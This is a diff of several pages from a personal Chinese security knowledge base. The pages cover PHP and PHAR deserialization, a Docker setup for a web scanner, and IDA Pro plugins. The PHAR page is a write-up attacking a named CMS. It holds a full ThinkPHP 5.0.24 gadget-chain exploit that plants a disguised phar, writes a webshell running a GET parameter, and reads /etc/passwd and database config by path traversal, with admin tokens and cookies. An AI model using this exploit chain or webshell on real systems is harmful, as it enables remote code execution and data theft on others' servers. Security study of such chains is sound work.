那么我们首先找到起点,就是unserialize函数的变量,因为这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。

+

通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read对象。

+

那么我们可以构造如下pop链

+
<?php 
··········
$read = new Read();
$show = new Show();
$test = new Test();

$read->token = &$read->token_flag;
$test->params = $read;
$show->str['str'] = $test;
$show->source = $show;
echo serialize($show);
?>
+

给个图总结一下:

+

img

+

phar与反序列化​

+

简介​

+

PHAR("PHP archive")是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

+

文件结构​

+
    +
  1. +

    a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

    +
  2. +
  3. +

    官方手册

    +

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    +
  4. +
+

img

+

实验​

+

前提:将php.ini中的phar.readonly选项设置为off,不然无法生成phar文件。

+
phar.php:​
+
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='Hello I am Ameng';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+

在我们访问之后,会在当前目录下生成一个phar.phar文件,如下图所示。

+

img

+

然后查看文件的十六进制形式,我们就可以看到meta-data是以序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

+

img

+
Ameng.php​
+
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
+

执行结果:

+

img

+

这里简单介绍一下phar的大致应用,更详细可以参考seebug (opens new window)。

+

其他一些总结​

+

basename()​

+

此函数返回路径中的文件名的一部分(后面)

+
basename(path,suffix)
+

参数​

+
    +
  • path:必需。规定要检查的路径。
  • +
  • suffix:可选。规定文件的扩展名。
  • +
+

代码示例:

+
<?php
$path = "index.php/test.php";
echo basename($path);
?>

执行结果——>
test.php
+

此函数还有一个特点,就是会去掉文件名的非ASCII码值。

+

代码示例:

+
<?php
$path = $_GET['x'];
print_r(basename($path));
?>
+

我们通过 url 传入参数x=index.php/config.php/%ff

+

结果如下:

+

img

+

我们看到,%ff直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。原因就在于%ff在通过 url 传参时会被 url 解码,解码成了不可见字符,满足了basename函数对文件名的非ASCII值去除的特点,从而被删掉。

+

参考文献​

+

狼组安全团队公开知识库

+ + \ No newline at end of file diff --git a/docs/个人知识库/代码审计/PHP/记录一次对PHAR反序列化的利用/index.html b/docs/个人知识库/代码审计/PHP/记录一次对PHAR反序列化的利用/index.html new file mode 100644 index 0000000..abc7c21 --- /dev/null +++ b/docs/个人知识库/代码审计/PHP/记录一次对PHAR反序列化的利用/index.html @@ -0,0 +1,182 @@ + + + + + +记录一次对PHAR反序列化的利用 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-03-03 16:42:30
+

记录一次对PHAR反序列化的利用

+

前半部分是抄的,不想总结了。主要看漏洞利用实例

+

1. 前言​

+

随着 Web 安全不断发展,反序列化漏洞已成为一种被广泛利用的攻击手段,特别是在 PHP 生态中。PHAR(PHP Archive)文件作为一种用于打包 PHP 应用程序的格式,其简便的封装方式和执行能力让它成为了攻击者青睐的目标。2015 年,Stefan Esser 在 Black Hat USA 2015 演讲中首次揭示了 PHP 中 PHAR 反序列化漏洞 的严重性。这一漏洞允许攻击者通过构造特制的恶意 PHAR 文件,绕过 PHP 内置的安全机制,执行任意代码,给 Web 应用带来了极大的风险。

+

尽管这一漏洞已经被公开多年,但它依然在某些情况下可以被有效利用,特别是对于缺乏适当输入验证和安全配置的应用程序。本文将深入探讨 PHAR 反序列化漏洞 的原理、发现过程以及实际利用方式,旨在帮助开发者和安全研究人员理解这一攻击模式并采取相应的防护措施。

+

除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

+

2. phar反序列化漏洞​

+

2.1 phar描述​

+

PHAR(PHP Archive)是 PHP 的一个档案格式,它允许将多个 PHP 文件、资源和库打包成一个文件,类似于 Java 的 JAR 文件或 Python 的 ZIP 文件。通过使用 PHAR,开发者可以方便地将 PHP 程序和相关的资源打包成一个文件,方便分发和部署。

+

PHAR 文件是压缩的,可以包含 PHP 文件、图片、配置文件等,解压后直接可以运行。PHP 的内置扩展支持加载和执行 PHAR 文件内容。一般情况下,PHAR 文件可以通过 phar:// 协议直接访问。

+

PHAR 文件的常见用途包括:

+
    +
  • 将 PHP 程序或库打包为一个独立的文件,方便分发。
  • +
  • 作为应用程序的一个模块或插件。
  • +
  • 便于压缩和优化代码,减少文件数量。
  • +
+

2.2 phar文件的结构​

+

phar文件都包含以下几个部分:

+
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。
+

2.3 生成一个phar文件​

+

php内置了一个phar类来处理相关操作。

+

注意:这里要将php.ini里面的phar.readonly选项设置为Off。并把分号去掉。

+

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

+
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+

执行这个php文件,会生成一个phar.phar文件。打开查看可以看到Meta-data的内容是以序列化的形式储存的。

+

shengchengpharphp.jpg

+

xuliehua.jpg

+

php在解析这个phar的时候,还会对meta-data数据进行一次反序列化。PHP底层代码:

+

phpdiceng.png

+

通过反序列化,我们就能够控制一些类的变量进行利用。

+

2.4 漏洞利用条件​

+
    +
  • +

    phar文件要能够上传到服务器端。

    +
  • +
  • +

    要有可用的反序列化漏洞利用链。

    +
  • +
  • +

    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

    +
  • +
+

2.5 受影响的文件操作函数​

+
    +
  • fileatime
  • +
  • file_ put contents
  • +
  • fileinode
  • +
  • is_dir
  • +
  • is_readable
  • +
  • copy
  • +
  • filectime
  • +
  • file
  • +
  • filemtime
  • +
  • is_executable
  • +
  • is_writable
  • +
  • unlink
  • +
  • file_exists
  • +
  • filegroup
  • +
  • fileowner
  • +
  • is_file
  • +
  • is_writeable
  • +
  • stat
  • +
  • file_get_contents
  • +
  • fopen
  • +
  • fileperms
  • +
  • is_link
  • +
  • parse_ini_file
  • +
  • readfile
  • +
  • exif_thumbnail
  • +
  • exif_thumbnail
  • +
  • imageloadfont
  • +
  • imagecreatefrom***
  • +
  • hash_hmac_file
  • +
  • hash_file
  • +
  • hash_update_file
  • +
  • md5_file
  • +
  • sha1_file
  • +
  • get_meta_tags
  • +
  • get_headers(这个不太确定没试出来)
  • +
  • getimagesize
  • +
  • getimagesizefromstring
  • +
  • postgres
  • +
+
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
+

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

+
    +
  • mysql
  • +
+
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
+

再配置一下mysqld。

+
[mysqld]
local-infile=1
secure_file_priv=""
+

3. 漏洞的利用实例​

+

3.1 简单案例​

+
// phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+
index.php
<?php
class TestObject {
public $name;

function __destruct()
{
echo $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
?>
+

使用php phar.php生成phar.phar文件。

+

访问:http://127.0.0.1/index.php?file=phar://phar.phar

+

返回:Threezh1。 反序列化利用成功。

+

example01.jpg

+

3.2 骑某 CMS v3.44.0​

+

3.2.1 利用思路​

+

下面都是本地登录后台测试

+

测试前需要找到以下几个利用点

+
    +
  • 有文件上传的点(随便一个点附件上传、图片上传)
  • +
  • 存在反序列化漏洞(Thinkphp v5.24.0 反序列化利用链)
  • +
  • 有一个触发反序列化的地方(\app\apiadmin\controller\Upgrade::download)
  • +
+

3.2.2 文件上传​

+

后台上传附件的点

+
POST /index.php?s=apiadmin/upload/attach HTTP/1.1
Host: 127.0.0.1
Content-Length: 1813
sec-ch-ua-platform: "macOS"
admintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary45m5eoX47unvnRrB
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/admin/
Accept-Encoding: gzip, deflate, br
Cookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1
Connection: keep-alive

------WebKitFormBoundary45m5eoX47unvnRrB
Content-Disposition: form-data; name="file"; filename="poc.jpg"
Content-Type: image/jpeg

GIF<?php __HALT_COMPILER(); ?>
����������������O:27:"think\process\pipes\Windows":1:{s:34:"�think\process\pipes\Windows�files";a:1:{i:0;O:17:"think\model\Pivot":5:{s:6:"parent";O:20:"think\console\Output":2:{s:9:"�*�styles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"�think\console\Output�handle";O:30:"think\session\driver\Memcached":1:{s:10:"�*�handler";O:23:"think\cache\driver\File":2:{s:10:"�*�options";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG['n']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"�*�tag";s:2:"xx";}}}s:9:"�*�append";a:1:{s:4:"test";s:8:"getError";}s:7:"�*�data";a:1:{s:7:"panrent";s:4:"true";}s:8:"�*�error";O:27:"think\model\relation\HasOne":5:{s:5:"model";b:0;s:15:"�*�selfRelation";b:0;s:9:"�*�parent";N;s:8:"�*�query";O:14:"think\db\Query":1:{s:8:"�*�model";O:20:"think\console\Output":2:{s:9:"�*�styles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"�think\console\Output�handle";O:30:"think\session\driver\Memcached":1:{s:10:"�*�handler";O:23:"think\cache\driver\File":2:{s:10:"�*�options";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG['n']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"�*�tag";s:2:"xx";}}}}s:11:"�*�bindAttr";a:1:{s:2:"xx";s:2:"xx";}}s:8:"�*�model";s:4:"test";}}}���test.txt���d�g��� ~ؤ������testUxGb9#2P;�T) �"�������GBMB
------WebKitFormBoundary45m5eoX47unvnRrB--

+

3.2.3 存在反序列化利用链​

+

thinkphp v5.0.24 存在一个利用链能够直接rce

+

image-20250303154302954

+

poc

+
<?php
namespace think\cache\driver;

class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'gg';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php',
'data_compress' => false
];
}
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}

namespace think\db;
use think\console\Output;

class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;

function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}

namespace think\process\pipes;
use Phar;
use think\model\Pivot;

class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$obj = new Windows();


$phar = new Phar('poc.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj); //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘



+

3.2.4 触发反序列化​

+

前面又在文中提到phar触发反序列的方式,与文件操作相关的。

+

\app\apiadmin\controller\Upgrade::download

+

image-20250303154918843

+

在这个方法中,首先会打开$path,就可直接触发反序列。

+

image-20250303155019679

+

而此时$path,没有经过任何处理,就被传入$file->download($path, $save_file, false);

+

image-20250303155124331

+

所以这里还一个漏洞就是任意文件读取,我们简单来利用一下

+
GET /index.php?s=/apiadmin/Upgrade/download&path=../../../../../../etc/passwd&timestamp= HTTP/1.1
Host: 127.0.0.1
sec-ch-ua-platform: "macOS"
admintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/admin/
Accept-Encoding: gzip, deflate, br
Cookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1
Connection: keep-alive


+

随后访问http://127.0.0.1/upgrade/zip/passwd/passwd_.zip

+

即可获得/etc/passwd

+

image-20250303155254026

+

当然读数据库文件也是可以的

+
http://127.0.0.1/index.php?s=/apiadmin/Upgrade/download&path=../application/database.php&timestamp=
+

image-20250303155607673

+
http://127.0.0.1/upgrade/zip/database/database_.zip
+

image-20250303155634100

+

3.2.5 利用过程​

+

生成恶意的附件

+
<?php
namespace think\cache\driver;

class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'gg';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php',
'data_compress' => false
];
}
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new Memcached();
}
}

namespace think\db;
use think\console\Output;

class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;

function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}

namespace think\process\pipes;
use Phar;
use think\model\Pivot;

class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}

$obj = new Windows();


$phar = new Phar('poc.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj); //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘



+

这里吧 poc.phar,改成一个图片的后缀,就行了

+

image-20250303155733060

+

触发phar

+

image-20250303155920816

+

此时就会生成两个恶意的文件(啊,你问我为什么,thinkphp的链啊 看这里->我也不知道哪找的文章)

+

image-20250303160359764

+

最后再来一张

+

image-20250303160546641

+

3.3 某某CMS(提交官方了,暂时不让公布)​

+

4. 免责声明​

+

免责声明

+

本文所涉及的技术信息仅供安全研究与学习使用,旨在提升信息安全意识,帮助安全研究人员和开发者更好地理解和防范相关安全风险。

+

责任声明:

+
    +
  1. 本文所提供的信息仅供合法、合规的安全研究与学习使用,严禁用于任何非法目的。
  2. +
  3. 任何人不得利用本文提供的技术信息进行未经授权的攻击行为,包括但不限于渗透测试、恶意利用、数据泄露、破坏系统等。
  4. +
  5. 本文所述知识不得用于开发、传播、销售或使用任何形式的攻击性工具、自动化利用工具或恶意软件。
  6. +
  7. 作为本文的唯一作者,我不支持、不鼓励、不参与任何形式的网络攻击行为。若使用本文所述信息进行攻击或其他恶意活动,行为人应对其行为及其后果负责,我不承担任何法律责任。
  8. +
  9. 我不对任何由于使用或误用本文信息而造成的直接或间接损失承担任何责任。
  10. +
  11. 如果该技术信息涉及特定厂商或软件,我建议相关方尽快进行安全加固,并呼吁读者遵守负责任的漏洞披露流程。
  12. +
  13. 所有涉及的漏洞信息已及时告知相关厂商,并建议他们进行修复和加固。
  14. +
+

法律合规提醒:

+

请确保您在遵守相关法律法规的前提下使用本文信息。如有任何疑问,请咨询专业法律人士或相关机构。

+

5. 参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/公众号文章/Docker 快速部署最新版Awvs/index.html b/docs/个人知识库/公众号文章/Docker 快速部署最新版Awvs/index.html new file mode 100644 index 0000000..1c04154 --- /dev/null +++ b/docs/个人知识库/公众号文章/Docker 快速部署最新版Awvs/index.html @@ -0,0 +1,51 @@ + + + + + +Docker快速部署最新版Awvs | wjlin0 + + + + + + + +

Docker快速部署最新版Awvs

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-09 02:45:27
+

大家好,我是 小王说安全!今天给大家带来的是 awvs的快速部署方式,docker部署,无需修改任何配置即可启动 Awvs。本文章使用的镜像是在secfa/docker-awvs,支持通过环境变量注入账户和密码,默认中文。用到的安装包、镜像、以及docker-compose.yml,均已放在百度网盘,具体可在文章末尾获取下载地址。好了废话不多说我们正式开始

+

image-20251109023655720

+

Docker 安装​

+
+

如果你已经安装了docker 可直接跳过该步骤。

+
+

macOS

+
brew install --cask docker
+

Linux

+
curl -fsSL https://get.docker.com -o get-docker.sh | sh
+

Windows

+
+

从网盘中取出 docker 安装包,并双击安装

+
+

Awvs 安装​

+

从网盘中,获取awvs目录下的docker-compose.yml

+
cd awvs
docker compose build
# 修改 文件中的 登录账号和密码
docker compose up -d
+
# 访问 URL 并使用账户密码登录系统

https://127.0.0.1:13443/#/
+

image-20251109015039560

+

总结​

+

我在secfa/docker-awvs,镜像上走了修改,支持通过环境变量修改账户密码,并且默认登录为中文;如果你想获取该docker-compose.yml,请关注公众号,关键字回复【20251110】

+ + \ No newline at end of file diff --git a/docs/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略/index.html b/docs/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略/index.html new file mode 100644 index 0000000..fc17a44 --- /dev/null +++ b/docs/个人知识库/公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略/index.html @@ -0,0 +1,192 @@ + + + + + +IDA Pro 9.0 中文稳定版,一键安装&插件全攻略 | wjlin0 + + + + + + + +

IDA Pro 9.0 中文稳定版,一键安装&插件全攻略

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-11-05 12:31:00
+

免则声明:本公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权转载和其他公众号白名单转载,如需转载,联系作者开白。

+

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

+

一、安装IDA9.0中文版​

+

前提是需要安装插件中的 python包:python-3.11.9-amd64.exe

+

image-20250917000529663

+

然后再安装IDA Professional 9.0中文版

+

image-20250917000136174

+

image-20250917000208749

+

image-20250917000342621

+

image-20250917000444125

+

二、IDA插件安装​

+

1.IDA Feeds插件安装​

+

进入idalib目录,然后使用以下命令进行安装:

+
pip install ../idalib/python/.
+

image-20250916213758547

+
python . . / idalib/python/py-activate-idalib.py
+

image-20250916215342914

+
pip install -r ../plugins/ida_feeds/requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
+

image-20250916215427977

+

插件在Edit>plugins>IDA Feeds启动

+

2.LazyIDA插件安装​

+

将ida中数据快速导出为多种格式,convert快速提取数据等

+

将LazyIDA.py复制到plugins目录下即可(https://github.com/L4ys/LazyIDA)

+

image-20250917134443405

+

image-20250916224356420

+

3.keypatch9.0插件安装​

+

patch指令方便

+

前提是需要安装 keystone-engine和six python库,使用以下命令进行安装:

+
pip install keystone-engine -i https://mirrors.aliyun.com/pypi/simple/

pip install six -i https://mirrors.aliyun.com/pypi/simple/
+

将Keypatch.py复制到plugins目录下即可

+

image-20250917134622103

+

image-20250916224641481

+

4.patching插件安装​

+

二进制指令集补丁工具,比keypatch好用些

+
https://github.com/gaasedelen/patching
+

image-20250917134726193

+

将Patching文件夹和Patching.py复制到plugins目录下即可

+

5.auto-enum插件安装​

+

自动恢复常见api的枚举变量

+

下载后将项目plugin目录内的所有文件:

+

image-20250917134820295

+
enumlib

auto_enum.py

ida-plugin.json
+

复制到ida/plugins下即可

+

6.hrtng插件安装​

+

注:如果安装了Hrtng可以不安装D810插件

+

高亮括号,重定义关键函数声明,栈字符串识别,反ollvm等功能

+
https://github.com/KasperskyLab/
+

下载release包后解压,复制plugins/windows/9.0/hrtng.dll到ida/plugins目录下即可

+

7.classinformer插件安装​

+
https://github.com/herosi/classinformer
+

反编译C++的时候需要用到,可以根据RTTI等信息综合恢复类Class的相关信息,例如继承信息,类名等。

+

下载release包后将Classinformer64.dll复制到ida/plugins目录下即可

+

8.deREferencing插件安装​

+

这个是调试里面用的,它可以追踪某一个地址指向什么,这样就可以知道寄存器或是内存地址到底指向谁,有什么意义

+
https://github.com/danigargu/deREferencing
+

调试时使用,追踪栈和寄存器指向的内容

+

将dereferencing.py和dereferencing文件夹复制到ida/plugins即可

+

9.IDA-DataExportPlus插件安装​

+

IDA本身自带一个导出功能,但是有点鸡肋,本插件可将导出数据进行格式的自定义

+
https://github.com/Krietz7/IDA-DataExportPlus
+

shift+e 数据提取强化版,将DataExportPlus.py复制到plugins目录下即可

+

10.findhash插件安装​

+

项目地址

+
https://github.com/Pr0214/findhash
+

该插件可以搜索出被魔改的哈希算法

+

把findhash.xml和findhash.py复制到ida/plugins目录下即可

+

11.WPeChatGP插件安装​

+

将requirements.txt和wpechatgpt.py以及auto-wpegpt_wpeace复制到ida/plugins目录下

+

image-20250917134934100

+

然后运行如下命令安装所需包

+
 pip install -r ./requirements.txt
+

image-20250916233527145

+

修改脚本 WPeChatGPT.py,添加 API key 到变量 openai.api_key。(后面会写如何对其API进行申请)

+

这里需要修改plugin_name以及model和cilent参数进行修改

+

image-20250916235303441

+

最后重启 IDA 后即可使用

+

image-20250917000812789

+

这里注册抖音的API(将注册好的API填入到配置文件即可)

+
https://console.volcengine.com/ark/region:ark+cn-beijing/model?vendor=Bytedance&view=DEFAULT_VIEW
+

立即体验默认提供GUI界面,选择API接入

+

API接入

+

创建API Key,名称任意,创建后复制并保存API Key,后续使用模型依赖该Key(注意不要泄露)

+

APIKey

+

之后选择自定义推理接入点>创建推理接入点

+

创建推理接入点

+

